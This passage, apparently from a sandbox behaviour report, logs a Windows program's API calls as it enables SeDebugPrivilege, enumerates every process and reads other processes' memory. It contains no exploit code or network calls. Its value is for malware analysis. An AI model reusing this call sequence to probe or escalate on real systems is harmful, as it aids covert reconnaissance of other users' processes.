[0358.059] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.059] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.060] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16b8) returned 0xa9c [0358.060] GetLastError () returned 0x0 [0358.060] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.060] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.060] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.061] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4525a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.061] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452230, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.061] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.061] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.061] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.061] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x451be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.061] malloc (_Size=0x52) returned 0xeaaad0 [0358.061] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452270, lpBuffer=0xeaaad0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaaad0*, lpNumberOfBytesRead=0x0) returned 1 [0358.062] free (_Block=0xeaaad0) [0358.062] CloseHandle (hObject=0xa9c) returned 1 [0358.062] _ui64tow_s (in: _Value=0x134c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4940") returned 0x0 [0358.063] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4940") returned 4 [0358.063] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.063] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.063] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134c) returned 0x0 [0358.064] CloseHandle (hObject=0x0) returned 0 [0358.064] _ui64tow_s (in: _Value=0xee8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3816") returned 0x0 [0358.064] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3816") returned 4 [0358.064] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.064] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.065] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee8) returned 0xa9c [0358.065] GetLastError () returned 0x0 [0358.065] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.065] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.065] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.065] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.065] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.066] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.066] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.066] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.066] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.066] malloc (_Size=0x76) returned 0xea8a20 [0358.066] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572164, lpBuffer=0xea8a20, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8a20*, lpNumberOfBytesRead=0x0) returned 1 [0358.067] free (_Block=0xea8a20) [0358.067] CloseHandle (hObject=0xa9c) returned 1 [0358.067] _ui64tow_s (in: _Value=0x44c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1100") returned 0x0 [0358.067] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1100") returned 4 [0358.068] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.068] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.068] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0xa9c [0358.068] GetLastError () returned 0x0 [0358.068] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.069] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.069] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.069] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.069] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.069] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.070] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.070] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.070] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.070] malloc (_Size=0x52) returned 0xeaa890 [0358.070] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472168, lpBuffer=0xeaa890, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa890*, lpNumberOfBytesRead=0x0) returned 1 [0358.071] free (_Block=0xeaa890) [0358.071] CloseHandle (hObject=0xa9c) returned 1 [0358.071] _ui64tow_s (in: _Value=0x370, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="880") returned 0x0 [0358.071] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="880") returned 3 [0358.071] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.071] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.072] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0xa9c [0358.072] GetLastError () returned 0x0 [0358.072] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.072] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.073] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.073] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5924f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.073] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.073] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.073] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.073] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.073] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.074] malloc (_Size=0x68) returned 0xeb6690 [0358.074] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592168, lpBuffer=0xeb6690, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6690*, lpNumberOfBytesRead=0x0) returned 1 [0358.074] free (_Block=0xeb6690) [0358.074] CloseHandle (hObject=0xa9c) returned 1 [0358.074] _ui64tow_s (in: _Value=0x10b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4280") returned 0x0 [0358.075] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4280") returned 4 [0358.075] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.075] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.076] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b8) returned 0xa9c [0358.076] GetLastError () returned 0x0 [0358.076] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.076] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.076] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.076] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5426a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.076] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x542278, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.076] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.077] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.077] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.077] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x541c30, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.077] malloc (_Size=0x7a) returned 0xe88120 [0358.077] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5422ec, lpBuffer=0xe88120, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88120*, lpNumberOfBytesRead=0x0) returned 1 [0358.077] free (_Block=0xe88120) [0358.078] CloseHandle (hObject=0xa9c) returned 1 [0358.078] _ui64tow_s (in: _Value=0x11e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4576") returned 0x0 [0358.078] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4576") returned 4 [0358.078] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0358.078] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0358.079] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e0) returned 0xa9c [0358.079] GetLastError () returned 0x0 [0358.079] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0358.079] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x280018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0358.079] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0358.079] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0358.079] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2228, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0358.080] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0358.080] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0358.080] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x280020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0358.080] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0358.080] malloc (_Size=0x6a) returned 0xea8ca0 [0358.080] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2290, lpBuffer=0xea8ca0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0358.081] free (_Block=0xea8ca0) [0358.081] CloseHandle (hObject=0xa9c) returned 1 [0358.083] free (_Block=0x2410080) [0358.088] malloc (_Size=0x48) returned 0xea76b0 [0358.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ed6c8 | out: lpSystemTimeAsFileTime=0x5ed6c8*(dwLowDateTime=0x8f851fbb, dwHighDateTime=0x1dac836)) [0358.088] SetEvent (hEvent=0x404) returned 1 [0359.208] SetEvent (hEvent=0x404) returned 1 [0359.209] free (_Block=0xea76b0) [0359.209] GetCurrentThread () returned 0xfffffffffffffffe [0359.209] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x5ed690 | out: TokenHandle=0x5ed690*=0xa9c) returned 1 [0359.209] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x5ed6cc | out: lpLuid=0x5ed6cc*(LowPart=0x14, HighPart=0)) returned 1 [0359.210] RtlRestoreLastWin32Error () returned 0x2ad000 [0359.210] AdjustTokenPrivileges (in: TokenHandle=0xa9c, DisableAllPrivileges=0, NewState=0x5ed6c8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0359.210] GetLastError () returned 0x0 [0359.210] CloseHandle (hObject=0xa9c) returned 1 [0359.210] malloc (_Size=0x8000) returned 0xe9afd0 [0359.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xe9afd0, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0xe9afd0, ResultLength=0x0) returned 0xc0000004 [0359.213] free (_Block=0xe9afd0) [0359.213] malloc (_Size=0x10000) returned 0xeced60 [0359.214] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0359.217] free (_Block=0xeced60) [0359.217] malloc (_Size=0x18000) returned 0xeced60 [0359.217] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0359.219] free (_Block=0xeced60) [0359.219] malloc (_Size=0x20000) returned 0xf1af50 [0359.220] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xf1af50, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0xf1af50, ResultLength=0x0) returned 0xc0000004 [0359.224] free (_Block=0xf1af50) [0359.224] malloc (_Size=0x28000) returned 0x2410080 [0359.225] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2410080, Length=0x28000, ResultLength=0x0 | out: SystemInformation=0x2410080, ResultLength=0x0) returned 0x0 [0359.229] _ui64tow_s (in: _Value=0x0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0359.229] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="0") returned 1 [0359.229] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x97b9, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.229] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.230] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0359.230] CloseHandle (hObject=0x0) returned 0 [0359.230] _ui64tow_s (in: _Value=0x4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0359.231] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4") returned 1 [0359.231] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.231] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.232] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0359.232] CloseHandle (hObject=0x0) returned 0 [0359.232] _ui64tow_s (in: _Value=0x48, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="72") returned 0x0 [0359.232] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="72") returned 2 [0359.232] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.232] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.233] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48) returned 0x0 [0359.233] CloseHandle (hObject=0x0) returned 0 [0359.233] _ui64tow_s (in: _Value=0x164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="356") returned 0x0 [0359.234] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="356") returned 3 [0359.234] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, 